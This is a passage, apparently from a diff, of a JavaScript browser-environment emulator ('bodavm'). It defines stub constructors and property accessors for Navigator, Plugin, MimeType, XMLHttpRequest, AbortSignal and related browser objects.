bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaSession_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "permissions", {configurable:true, enumerable:true, get:function permissions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "permissions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "presentation", {configurable:true, enumerable:true, get:function presentation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "presentation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "serial", {configurable:true, enumerable:true, get:function serial (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serial_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "usb", {configurable:true, enumerable:true, get:function usb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "usb_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "windowControlsOverlay", {configurable:true, enumerable:true, get:function windowControlsOverlay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "windowControlsOverlay_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "xr", {configurable:true, enumerable:true, get:function xr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "xr_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "userAgentData", {configurable:true, enumerable:true, get:function userAgentData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgentData_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "canShare", {configurable:true, enumerable:true, writable:true, value:function canShare (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "canShare", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "share", {configurable:true, enumerable:true, writable:true, value:function share (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "share", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "clearAppBadge", {configurable:true, enumerable:true, writable:true, value:function clearAppBadge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clearAppBadge", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getBattery", {configurable:true, enumerable:true, writable:true, value:function getBattery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getBattery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getUserMedia", {configurable:true, enumerable:true, writable:true, value:function getUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getUserMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "requestMIDIAccess", {configurable:true, enumerable:true, writable:true, value:function requestMIDIAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMIDIAccess", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "requestMediaKeySystemAccess", {configurable:true, enumerable:true, writable:true, value:function requestMediaKeySystemAccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "requestMediaKeySystemAccess", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "setAppBadge", {configurable:true, enumerable:true, writable:true, value:function setAppBadge (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "setAppBadge", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webkitGetUserMedia", {configurable:true, enumerable:true, writable:true, value:function webkitGetUserMedia (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitGetUserMedia", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getInstalledRelatedApps", {configurable:true, enumerable:true, writable:true, value:function getInstalledRelatedApps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getInstalledRelatedApps", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "registerProtocolHandler", {configurable:true, enumerable:true, writable:true, value:function registerProtocolHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "registerProtocolHandler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "unregisterProtocolHandler", {configurable:true, enumerable:true, writable:true, value:function unregisterProtocolHandler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "unregisterProtocolHandler", arguments)}},'prototype'); -// navigator对象 -bodavm.memory.globalobj['navigator'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['navigator'].__proto__=bodavm.memory.globalobj['Navigator'].prototype; - -// BatteryManager对象 -bodavm.memory.globalobj['BatteryManager'] = function BatteryManager(){if (!(this instanceof BatteryManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['BatteryManager'], "BatteryManager"); -bodavm.memory.globalobj['BatteryManager'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['BatteryManager'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('BatteryManager', "charging", {configurable:true, enumerable:true, get:function charging (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "charging_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "chargingTime", {configurable:true, enumerable:true, get:function chargingTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "chargingTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "dischargingTime", {configurable:true, enumerable:true, get:function dischargingTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "dischargingTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "level", {configurable:true, enumerable:true, get:function level (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "level_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingchange", {configurable:true, enumerable:true, get:function onchargingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_get", arguments)}, set:function onchargingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "onchargingtimechange", {configurable:true, enumerable:true, get:function onchargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_get", arguments)}, set:function onchargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onchargingtimechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "ondischargingtimechange", {configurable:true, enumerable:true, get:function ondischargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_get", arguments)}, set:function ondischargingtimechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "ondischargingtimechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('BatteryManager', "onlevelchange", {configurable:true, enumerable:true, get:function onlevelchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_get", arguments)}, set:function onlevelchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['BatteryManager'].prototype, "BatteryManager", "onlevelchange_set", arguments)}},'prototype'); - -// Plugin对象 -bodavm.memory.globalobj['Plugin'] = function Plugin(){if (!(this instanceof Plugin)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Plugin'], "Plugin"); -bodavm.toolsFunc.defineProperty('Plugin', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "filename", {configurable:true, enumerable:true, get:function filename (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "filename_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "description_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "namedItem", arguments)}},'prototype'); - -// PluginArray对象 -bodavm.memory.globalobj['PluginArray'] = function PluginArray(){if (!(this instanceof PluginArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PluginArray'], "PluginArray"); -bodavm.toolsFunc.defineProperty('PluginArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PluginArray', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PluginArray', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "namedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PluginArray', "refresh", {configurable:true, enumerable:true, writable:true, value:function refresh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "refresh", arguments)}},'prototype'); - -// MimeType对象 -bodavm.memory.globalobj['MimeType'] = function MimeType(){if (!(this instanceof MimeType)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeType'], "MimeType"); -bodavm.toolsFunc.defineProperty('MimeType', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeType', "suffixes", {configurable:true, enumerable:true, get:function suffixes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "suffixes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeType', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "description_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeType', "enabledPlugin", {configurable:true, enumerable:true, get:function enabledPlugin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeType'].prototype, "MimeType", "enabledPlugin_get", arguments)}, set:undefined},'prototype'); - -// MimeTypeArray对象 -bodavm.memory.globalobj['MimeTypeArray'] = function MimeTypeArray(){if (!(this instanceof MimeTypeArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MimeTypeArray'], "MimeTypeArray"); -bodavm.toolsFunc.defineProperty('MimeTypeArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MimeTypeArray', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MimeTypeArray', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MimeTypeArray'].prototype, "MimeTypeArray", "namedItem", arguments)}},'prototype'); - -// XMLHttpRequestEventTarget对象 -bodavm.memory.globalobj['XMLHttpRequestEventTarget'] = function XMLHttpRequestEventTarget(){if (!(this instanceof XMLHttpRequestEventTarget)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestEventTarget'], "XMLHttpRequestEventTarget"); -bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XMLHttpRequestEventTarget'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "ontimeout", {configurable:true, enumerable:true, get:function ontimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_get", arguments)}, set:function ontimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadend", {configurable:true, enumerable:true, get:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_get", arguments)}, set:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_set", arguments)}},'prototype'); - -// XMLHttpRequest对象 -bodavm.memory.globalobj['XMLHttpRequest'] = function XMLHttpRequest(){this._boarg= new bodaobj.window.XMLHttpRequest();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequest'], "XMLHttpRequest"); -bodavm.memory.globalobj['XMLHttpRequest'].prototype.__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; -bodavm.memory.globalobj['XMLHttpRequest'].__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget']; -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "onreadystatechange", {configurable:true, enumerable:true, get:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_get", arguments)}, set:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "timeout", {configurable:true, enumerable:true, get:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_get", arguments)}, set:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "withCredentials", {configurable:true, enumerable:true, get:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_get", arguments)}, set:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "upload", {configurable:true, enumerable:true, get:function upload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "upload_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseURL", {configurable:true, enumerable:true, get:function responseURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "statusText", {configurable:true, enumerable:true, get:function statusText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "statusText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseType", {configurable:true, enumerable:true, get:function responseType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_get", arguments)}, set:function responseType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "response", {configurable:true, enumerable:true, get:function response (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "response_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseText", {configurable:true, enumerable:true, get:function responseText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseText_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseXML", {configurable:true, enumerable:true, get:function responseXML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseXML_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getAllResponseHeaders", {configurable:true, enumerable:true, writable:true, value:function getAllResponseHeaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getAllResponseHeaders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getResponseHeader", {configurable:true, enumerable:true, writable:true, value:function getResponseHeader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getResponseHeader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "overrideMimeType", {configurable:true, enumerable:true, writable:true, value:function overrideMimeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "overrideMimeType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "send", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequest', "setRequestHeader", {configurable:true, enumerable:true, writable:true, value:function setRequestHeader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "setRequestHeader", arguments)}},'prototype'); - -// AbortController对象 -bodavm.memory.globalobj['AbortController'] = function AbortController(){this._boarg= new bodaobj.window.AbortController();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortController'], "AbortController"); -bodavm.toolsFunc.defineProperty('AbortController', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbortController', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortController'].prototype, "AbortController", "abort", arguments)}},'prototype'); - -// AbortSignal对象 -bodavm.memory.globalobj['AbortSignal'] = function AbortSignal(){if (!(this instanceof AbortSignal)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbortSignal'], "AbortSignal"); -bodavm.memory.globalobj['AbortSignal'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['AbortSignal'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('AbortSignal', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "abort", arguments)}}); -bodavm.toolsFunc.defineProperty('AbortSignal', "timeout", {configurable:true, enumerable:true, writable:true, value:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].undefined, "AbortSignal", "timeout", arguments)}}); -bodavm.toolsFunc.defineProperty('AbortSignal', "aborted", {configurable:true, enumerable:true, get:function aborted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "aborted_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbortSignal', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "reason_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('AbortSignal', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('AbortSignal', "throwIfAborted", {configurable:true, enumerable:true, writable:true, value:function throwIfAborted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AbortSignal'].prototype, "AbortSignal", "throwIfAborted", arguments)}},'prototype'); - -// AbsoluteOrientationSensor对象 -bodavm.memory.globalobj['AbsoluteOrientationSensor'] = function AbsoluteOrientationSensor(){this._boarg= new bodaobj.window.AbsoluteOrientationSensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbsoluteOrientationSensor'], "AbsoluteOrientationSensor"); -bodavm.memory.globalobj['AbsoluteOrientationSensor'].prototype.__proto__=bodavm.memory.globalobj['OrientationSensor'].prototype; -bodavm.memory.globalobj['AbsoluteOrientationSensor'].__proto__=bodavm.memory.globalobj['OrientationSensor']; - -// AbstractRange对象 -bodavm.memory.globalobj['AbstractRange'] = function AbstractRange(){if (!(this instanceof AbstractRange)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AbstractRange'], "AbstractRange"); -bodavm.toolsFunc.defineProperty('AbstractRange', "startContainer", {configurable:true, enumerable:true, get:function startContainer (){return 